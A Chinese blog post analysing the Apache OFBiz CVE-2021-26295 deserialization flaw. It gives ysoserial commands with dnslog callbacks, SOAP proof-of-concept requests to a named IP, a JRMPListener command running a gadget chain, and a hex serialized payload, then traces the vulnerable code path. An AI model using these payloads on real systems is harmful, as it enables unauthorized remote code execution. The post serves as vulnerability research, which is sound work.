首页 > 其他分享 >Apache Ofbiz CVE-2021-26295分析

Apache Ofbiz CVE-2021-26295分析

时间:2024-02-06 22:33:09浏览次数:26  
标签:序列化 java jar apache 2021 Apache org CVE ofbiz

漏洞影响版本:apache:ofbiz<17.12.06
补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/
漏洞触发路径:https://ip:8443/webtools/control/SOAPService

漏洞复现

环境搭建:
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz

漏洞检测

利用DNSLOG链,以下是命令,用于生成16进制表示的字节码。

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar URLDNS http://dnslog.com | xxd -p -c 10000000

或者
java -jar ysoserial.jar URLDNS http://kzjtft.dnslog.cn >1.bin
用以下脚本进行二进制转16进制

import binascii

# 提示用户输入文件名
filename = input("请输入文件名: ")

try:
    with open(filename, 'rb') as f:
        content = f.read()
        hex_content = binascii.hexlify(content)
        print(hex_content.decode())  # 将字节数据解码为字符串并打印出来
except FileNotFoundError:
    print(f"文件 '{filename}' 不存在。请确保文件名正确并存在。")
except Exception as e:
    print(f"发生错误: {e}")

写入请求中
POC1:

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875

<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>内容</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>

POC2:

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 1023

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    	<soapenv:Header/>
		<soapenv:Body>
		<ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <cus-obj>内容</cus-obj>
            </map-Key>
            <map-Value>
                <std-String value="http://kif4v7.dnslog.cn"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
		</ser>
		</soapenv:Body>
		</soapenv:Envelope>

注意

测试中发现,同一个dnslog地址执行的第一次有响应,第二次就没了,猜测是dns服务器有缓存的缘故,所以尽量每次用不同的dnslog地址

漏洞利用

必须使用低版本java生成payload,防止产生兼容性问题,比如jdk8_05

利用RMI反序列化进行攻击

VPS启动RMI服务端,进行攻击客户端

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "calc.exe"

生成RMI客户端的序列化字符串,放入poc的xml中

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar JRMPClient "127.0.0.1:1099" | xxd -p -c 10000000

构造payload字符串发送到目标服务器

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header/>

    <soapenv:Body>

<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>

</ser>

    </soapenv:Body>

</soapenv:Envelope>

SOAPEventHandler类

SOAPEventHandler是一个处理SOAP消息的事件处理器,在此漏洞中起关键作用,通过以下步骤进行调试查找

查看更新的代码
https://github.com/apache/ofbiz-framework/compare/release17.12.05...release17.12.06#files_bucket
image.png
其中在 framework/base/src/main/java/org/apache/ofbiz/base/util/SafeObjectInputStream.java处添加了过滤java.rmi.server类的逻辑

查找SafeObjectInputStream类的调用位置
在org/apache/ofbiz/base/util/UtilObject.java:112的getObjectException方法内
image.png
跟踪getObjectException方法的调用位置org/apache/ofbiz/base/util/UtilObject.java:95
image.png
继续反向跟踪调用点
org/apache/ofbiz/entity/serialize/XmlSerializer.java:475
image.png
最后到org.apache.ofbiz.service.engine.SoapSerializer处
image.png
SoapSerializer看名字是一个处理soap序列化相关的类,在org/apache/ofbiz/webapp/event/SOAPEventHandler.java中被调用,SOAPEventHandler是一个处理SOAP消息的事件处理器
image.png
在org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177处进行了反序列化操作SoapSerializer.deserialize
image.png
其中看到serviceElement从reqBody获得,貌似是从请求的body中拿到的,向上跟踪下reqBody即可看到确实是这样
image.png

request.getInputStream() 返回一个 ServletInputStream 对象,您可以使用它来读取HTTP请求的主体数据。您可以从输入流中读取字节,以获取请求正文的内容。通常,这对于处理表单提交、文件上传以及其他包含大量数据的HTTP POST请求非常有用。

以下为大致请求逻辑
发送带有soap消息格式的request -> SOAPEventHandler:invoke() -> SoapSerializer:deserialize() -> XmlSerializer:多层调用-> deserializeCustom() -> UtilObject.getObject()-> getObjectException() -> SafeObjectInputStream:return wois.readObject(); -> 反序列化完成

白名单绕过导致RMI反序列化

在org/apache/ofbiz/base/util/SafeObjectInputStream.java的白名单中,whitelistPattern匹配了class是否在这个白名单内,而这个白名单则是出现绕过的地方
image.png

向上调试可发现,白名单如下,忽略了java..*中的java.rmi包,而这个包中可以利用RMI反序列化漏洞image.png

标签:序列化,java,jar,apache,2021,Apache,org,CVE,ofbiz
From: https://www.cnblogs.com/yyhuni/p/18010383

相关文章

  • [陇剑杯 2021]jwt
    前置首先了解一下什么是jwt普通的token认证过程如下,和jwt的区别主要存在于第3和第7步  jwt的组成由以下的部分组成,各部分用点隔开 解题打开数据包发现只有http和tcp两种流 追踪tcp流查看具体的每个包(数据包右键) 在第1个流那里发现了请求头中携带了特殊的token,正......
  • [SWPUCTF 2021 新生赛]Do_you_know_http
    HTTP请求头中各字段解释Accept :浏览器(或者其他基于HTTP的客户端程序)可以接收的内容类型(Content-types),例如Accept:text/plain。Accept-Charset:浏览器能识别的字符集,例如Accept-Charset:utf-8Accept-Encoding:浏览器可以处理的编码方式,注意这里的编码方式有别于字符集,这......
  • 2024最新Office 2021 专业增强版密钥
    Office2021专业增强版是微软面向个人和小型企业的办公软件套装,包含Word、Excel、PowerPoint、Outlook、Access、Publisher、OneNote、Teams等应用程序。该版本新增了协作功能、云服务支持、人工智能增强等功能,可满足用户日常办公、商务协作、数据分析等需求。Office2021fo......
  • 2024最新Office 2021 Mac版密钥
    Office2021Mac版是微软推出的办公套件,专为Mac操作系统优化。它包括经典的Office应用程序,如Word、Excel和PowerPoint,具备更强大的性能和更丰富的功能,以提高用户在Mac环境下的办公效率和体验。Office2021forMac官网兑换绑定电子版密钥在此版本中,微软注重用户体验,采用了现......
  • 解决apache-tomcat安装成功之后运行startup.bat之后闪退
    一:概述通过startup.bat启动的流程是:startup->catalia->setclasspath->cataline,如果这3个bat文件里面有一个出现错误的话就是启动失败,为了找到一闪而过的原因,需要了解这三个bat文件里面是什么。二:具体说明<1>由于JDK环境变量配置错误tomcat在启动时,会读取环境变量的信息,需要一个CAT......
  • apache如何配置统一请求随机转发到不同服务
    ApacheHTTP服务器可以使用mod_proxy和mod_proxy_balancer模块来配置统一请求随机转发到不同的后端服务。这里提供一个基本的配置示例,展示如何实现随机负载均衡。首先,确保你的Apache服务器已经安装了mod_proxy和mod_proxy_balancer模块。在大多数Linux发行版中,这些模块默认是安装......
  • apache如何实现只转发到正常运行的服务
    要实现Apache只转发请求到正常运行的服务,可以通过使用mod_proxy和mod_proxy_balancer模块的健康检查(HealthCheck)功能来完成。这将允许Apache周期性地检查后端服务的健康状况,并仅将请求转发到那些响应正常的服务。下面是如何配置Apache以实现此功能的步骤:1.启用必要的模块:首先,确......
  • 云小课|Runc容器逃逸漏洞(CVE-2024-21626)安全风险通告
    阅识风云是华为云信息大咖,擅长将复杂信息多元化呈现,其出品的一张图(云图说)、深入浅出的博文(云小课)或短视频(云视厅)总有一款能让您快速上手华为云。更多精彩内容请单击此处。runc官方发布安全公告,披露runc1.1.11及更早版本中存在容器逃逸漏洞,攻击者会利用该漏洞导致容器逃逸......
  • 实现前端调度器nginx收到请求,调度到后端Apache、实现动静分离
    一、Apache服务器上安装httpdyuminstallhttpd-y二、生成包含IP地址的新页面echo192.168.1.4>/var/www/html/index.html三、开启服务,并设置为开机自启动systemctlstarthttpdsystemctlenablehttpd四、测试访问本机IP地址[17:13:26root@apache~]#curl192.......
  • [UOD2021]虚幻引擎中Groom毛发系统的流程和应用 | Epic Games 孙丹璐
    传送门:[UOD2021]虚幻引擎中Groom毛发系统的流程和应用|EpicGames孙丹璐_哔哩哔哩_bilibili   一.资产与导入1.1Groom毛发系统中常见名词Strand:生成的最终视觉上看到的毛发人类的毛发尺寸大约在0.0017-0.0018cm,建议控制在0.008cm发际线、鬓角、碎发......